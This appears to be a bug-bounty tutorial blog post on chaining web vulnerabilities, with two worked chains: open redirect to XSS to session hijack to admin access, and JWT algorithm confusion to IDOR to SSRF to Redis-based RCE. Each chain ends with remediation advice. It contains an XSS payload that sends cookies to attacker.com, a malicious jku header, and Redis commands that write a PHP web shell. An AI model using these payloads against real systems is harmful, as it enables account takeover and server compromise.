Chain Up Bugs — Web Application - Advanced Methods on Bug Chaining !!

Bro, since you already know how to find bugs, now it’s time to take it to the next level.

What I meant — Don’t just stop at finding individual bugs, even if they look small or low severity. Try to think: “Can I use this together with another bug to make the impact bigger?” This is called bug chaining.

Basically, sometimes one bug on its own might not seem like a big deal — maybe it’s just a misconfigured header or a file upload that restricts certain types. But if you combine that with something else like weak authentication, open redirect, or a small logic flaw — suddenly you have a full exploit chain that leads to something serious like account takeover or even RCE.

It’s like connecting the dots.

Example -

You find a file upload, but it only accepts images.

Somewhere else you find a path disclosure. And maybe you find a weak session cookie setup.

Individually, each of these might get you a small bounty or even be marked as low impact. But if you put them together smartly, you might be able to:

Bypass upload restrictions, Trigger something using the disclosed path and then try to Steal sessions or escalate privileges

That’s when you turn a few “meh” bugs into a critical report.

It’s all about the mindset. When you find a bug, always think: “What can I combine this with?” — either from the same app or other apps on the same domain.

This is how top hunters work, and it’s how you move from finding bugs to showing real-world impact.

Here’s a structured example of chaining vulnerabilities from low to critical impact, based on OWASP Top 10: a step-by-step multi-bug attack path, complete with the attack narrative, impact escalation, POCs, and resources you can reference.

🧩 Vulnerability Chain: From Low → Medium → High → Critical

Overview Chain

1. A05 Security Misconfiguration (Low): Open redirect or improper CORS

2. A03 Injection (Medium): Reflected XSS via the open redirect landing page

3. A07 Identification & Authentication Failures (High): CSRF token stealing via XSS → session takeover

4. A01 Broken Access Control (Critical): Use session to perform admin-only actions → full takeover

Low Severity — Misconfiguration: Open Redirect or Weak CORS

Description: An endpoint improperly allows any redirect URL or permits overly permissive CORS Access‑Control-Allow-Origin: *.

POC:

GET /redirect?next=https://attacker.com

or check response headers:

Access-Control-Allow-Origin: *

Impact: Alone, this is low. But it enables phishing or delivering malicious payloads.

Resource: Uproot Security walkthrough about chaining low-impact bugs like open redirects to high-impact outcomes (Uproot Security, OWASP Foundation, OSINT Team, Splunk)

Medium Severity — A03: Reflected XSS on Redirected URL

Description: The attacker chain involves redirecting victims to a URL where injected script is reflected unsanitized.

Attack: Launch a crafted URL after redirect:

https://vulnerable.com/redirect?next=https://vulnerable.com/page?search=<script>…</script>

When user lands, XSS executes.

POC:

<script>fetch(' https://attacker.com/steal?c='+document.cookie)</script>

Impact: Steals cookies/session token if user is authenticated.

Chain primer: OSINT Team article on chaining CSRF + XSS for account takeover

High Severity — A07: CSRF Token Theft & Session Hijacking via XSS

Description: Use the stolen session cookie to perform authenticated actions. If CSRF tokens are stored in JS or accessible cookies, you can extract them too.

POC Attack Flow:

1. Victim clicks the malicious link (via open redirect).

2. XSS steals authentication cookie and/or CSRF token, sends to attacker.

3. Attacker reuses the session cookie to perform privileged actions via API requests.

Impact: Account takeover, possible privilege escalation or lateral movement depending on victim role.

Critical Severity — A01: Broken Access Control

Description: With the hijacked session, attacker accesses admin endpoints due to missing privilege checks or IDOR flaws.

Example POC:

GET /api/admin/userlist 
Cookie: session=STOLENSESSION

or attempt privileged operations:

POST /api/admin/delete-user?id=123 

Impact: Full account compromise, data theft, service disruption, or further persistence.

🧠 How to Present This in a Bug Report

Title: Chained Open Redirect → XSS → Session Hijack → Admin Access

Description: Summarize the chain, mention each bug and its OWASP classification.

Steps to Reproduce:

1. Visit ...redirect?next=<victim-url>.

2. Follow to crafted URL with XSS payload.

3. Capture session via JS payload.

4. Replay session token to access admin-only resource.

Proof-of-Concept: Provide actual HTTP requests, JS snippets, and screenshots.

Impact Assessment: Explain how low/seemingly minor flaws escalate to critical-level system compromise.

Remediation Suggestions:

Fix open redirect by validating redirect domains.

Properly encode and sanitize reflected input.

Set SameSite=strict, HttpOnly, and secure cookie flags.

Enforce server-side access control on admin endpoints.

Absolutely! Let’s build a step-by-step chained exploit path covering low → critical impact, leveraging OWASP Top 10 vulnerabilities with concrete POCs, HTTP snippets, and impact analysis.

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🧩 Vulnerability Chain: JWT Exploitation → IDOR → SSRF → RCE

Chain Overview:

• A07 (Low): JWT Algorithm Confusion → craft elevated JWT
• A01 (Medium): Use forged token to access an IDOR endpoint
• A10 (High): Discover SSRF via JKU parameter or hosted JWK
• A03 (Critical): Leverage SSRF to access internal API (e.g. Redis) → RCE

Low Severity — JWT Algorithm Confusion (A07)

Impact: Allows forging a token with elevated privileges (e.g., "isAdmin": true) using the public key as HMAC secret.

POC Steps:

1. Retrieve public key via /jwks.json or infer via two valid tokens (Medium, PortSwigger, Medium, Imperva).
2. Convert JWK → X.509 PEM (e.g. via rsa_sign2n) (Vaadata).
3. Modify header to "alg":"HS256", payload to {"role":"admin"}, sign using PEM as secret.
4. Use forged token to authenticate in application (e.g. cookie or Authorization header).

Medium Severity — Exploit IDOR with Forged Token (A01)

Impact: Abuse API endpoints accessible only by admins to perform unauthorized actions.

POC Steps:

1. Using "admin" forged JWT, call IDOR-sensitive endpoints:

GET /api/admin/user/targetUserId
Authorization: Bearer <forged‑token>

2. Or delete/update user data:

POST /api/admin/user/delete?id=<target> 

Impact Analysis: Reads or modifies other user’s data, performs admin tasks without proper auth.

High Severity — Exploit SSRF via jku or hosted JWK (A10)

Impact: Attacker-controlled jku header causes server-side fetch; SSRF can be used for internal probing or pivot access.

POC Steps:

1. Host malicious JWK set on attacker.com/jwks.json.
2. Build JWT header:

{
  "alg":"RS256",
  "jku":"https://attacker.com/jwks.json",
  "kid":"key1"
}

3. Sign token with attacker’s private key matching the JWK.

4. Submit token and observe server fetches attacker.com. This confirms SSRF vector.

Resource: Vaadata explains JKU / KID parameter misuse and SSRF introduction via JKU fetch (Vaadata).

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Critical Severity — SSRF to Internal Service → RCE (A03)

Impact: Chain SSRF to internal service (e.g., Redis) via gopher protocol → issue commands → achieve RCE.

POC Steps:

1. Using SSRF host parameter, craft URL:

gopher://127.0.0.1:6379/_SET%20key%20\xAA\xAA\r\n

2. Or trigger Redis CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET key '<?php system($_GET["cmd"]); ?>' to write web shell.

3. Access http://target/shell.php?cmd=id to confirm execution.

Resource: Medium case study “SSRF to RCE” chaining SSRF → XXE → RCE (Medium); Assetnote’s blind SSRF chaining POCs for pivot and internal RCE (Assetnote Blog).

📌 Presentation Tips for Reporting

Title: JWT Confusion → IDOR → SSRF → Internal RCE (End-to-End)

Description: Demonstrate how low-impact misconfig leads to full RCE via chained vulnerabilities.

Steps to Reproduce:

1. Retrieve public key and craft JWT.
2. Use forged token to reach admin endpoints.
3. Exploit jku parameter to induce SSRF.
4. Trigger gopher-based payload to chain into internal Redis → remote code execution.

Proof-of-Concept: Include HTTP request captures, JWT header/payload modification, hosted JWK request logs, Redis commands, and shell output.

Impact Assessment: Demonstrate unchecked trust in JWT config leads to full system compromise.

Recommendations:

• Strict algorithm validation — do not allow header-chosen algorithms (validate server-side).
• Disable untrusted jku and kid; whitelist only approved keys.
• Enforce server-side access control and validate all admin APIs.
• Block risky protocols (gopher://) and block internal IP spaces for SSRF.

🔗 Supporting Resources

• PortSwigger academy on algorithm confusion (PortSwigger, Indusface, Vaadata, Imperva, Traceable, Pentesterlab)
• Vaadata JWT guide including SSRF via jku parameter (Vaadata)
• Medium case study SSRF to RCE chaining (Medium)
• Assetnote blind SSRF chaining repository (Assetnote Blog)